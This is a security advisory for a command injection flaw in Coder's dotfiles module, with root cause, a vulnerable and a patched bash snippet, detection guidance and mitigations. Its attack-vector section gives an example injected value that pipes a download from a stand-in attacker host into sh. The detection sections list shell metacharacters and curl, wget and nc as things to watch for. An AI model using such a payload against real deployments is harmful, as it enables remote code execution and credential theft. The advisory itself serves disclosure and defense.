CVE-2026-44454: Coder Coder RCE Vulnerability

CVE-2026-44454 Overview

CVE-2026-44454 is a command injection vulnerability [CWE-78] in Coder, an open-source platform that provisions remote development environments via Terraform. The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfiles_uri value containing shell command substitution such as $(...) could achieve command execution. The Create Workspace page's mode=auto deep links amplified this into a one-click attack. An attacker could craft a URL that prefilled param.dotfiles_uri and silently provisioned a workspace with the attacker-controlled value, without explicit user confirmation. The issue affects versions prior to 2.29.7 and 2.30.2.

Critical Impact
Attackers can achieve remote command execution inside a victim's workspace through a single crafted URL, requiring only that the target click the link while authenticated to Coder.

Affected Products

Coder versions prior to 2.29.7
Coder versions prior to 2.30.2
Coder dotfiles registry module (Terraform)

Discovery Timeline

2026-07-07 - CVE-2026-44454 published to NVD
2026-07-08 - Last updated in NVD database

Technical Details for CVE-2026-44454

Vulnerability Analysis

The vulnerability originates in the Coder dotfiles module, which is used to clone dotfile repositories into newly provisioned workspaces. The module accepted a dotfiles_uri parameter and interpolated it directly into shell commands using eval and sh -c. Because the input was neither sanitized nor validated, an attacker could inject shell metacharacters and command substitution sequences.

The Create Workspace page supports a mode=auto deep link that prefills workspace parameters from the URL. When combined with the unsanitized dotfiles_uri, this transformed a local self-exploitation issue into a remote one-click attack. Victims following a crafted link would silently provision a workspace running attacker-supplied commands.

Successful exploitation grants command execution in the context of the victim's workspace, enabling theft of source code, cloud credentials, SSH keys, and lateral movement into connected internal systems.

Root Cause

The root cause is improper neutralization of special elements used in an OS command [CWE-78]. The dotfiles install scripts passed user-controlled variables through eval echo "$VAR" constructs, causing shell expansion of injected substitution operators. No allow-list validation was applied to URI or username fields before they reached the shell.

Attack Vector

The attack requires network access and user interaction. An attacker crafts a URL to the target Coder deployment containing mode=auto and a malicious param.dotfiles_uri value such as https://example.com/$(curl attacker.tld|sh). When an authenticated user visits the link, the workspace auto-provisions and the injected command executes.

bash

# Vulnerable pattern (pre-patch) in dotfiles module install scripts
ARG_CLAUDE_BINARY_PATH=$(eval echo "$ARG_CLAUDE_BINARY_PATH")

# Patched pattern (post-2.29.7 / 2.30.2)
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
# Source: https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82

Detection Methods for CVE-2026-44454

Indicators of Compromise

Workspace build logs containing shell substitution characters such as $(, backticks, or pipes in dotfiles_uri or username parameters.
Outbound network connections from workspace containers to unfamiliar hosts shortly after provisioning.
Unexpected workspace creation events triggered from mode=auto URLs in web proxy or referer logs.

Detection Strategies

Parse Coder audit logs for create_workspace events whose autofill_parameters include dotfiles_uri values with shell metacharacters.
Alert on any invocation of sh -c or eval in dotfiles module logs on Coder versions below 2.29.7 or 2.30.2.
Correlate HTTP access logs for requests to /templates/*/workspace?mode=auto with subsequent workspace build activity.

Monitoring Recommendations

Ingest Coder deployment and workspace audit logs into a centralized log platform and retain them for post-incident review.
Monitor egress traffic from Coder workspace pods for connections to non-approved code hosting or paste sites.
Track process execution inside workspaces for shells spawning curl, wget, or nc immediately after start-up.

How to Mitigate CVE-2026-44454

Immediate Actions Required

Upgrade Coder to version 2.29.7 or 2.30.2 (or later) as published in the GitHub Security Advisory GHSA-m3cr-vc2j-pm27.
Audit existing workspaces for anomalous dotfiles_uri values and rebuild any that appear tampered with.
Rotate credentials, tokens, and SSH keys that were accessible from potentially compromised workspaces.

Patch Information

Coder released fixed versions v2.29.7 and v2.30.2. The patch adds a consent prompt for auto-creation with prefilled parameters (see Pull Request #22011) and validates inputs in the dotfiles module, removing unsafe eval and sh -c usage (see Registry Pull Request #703 and the registry commit).

Workarounds

Disable or remove the dotfiles module from templates until upgrading is possible.
Restrict template parameters so dotfiles_uri cannot be overridden by end users via URL parameters.
Configure a web application firewall rule to block query strings on /templates/*/workspace containing $(, backticks, or | in parameter values.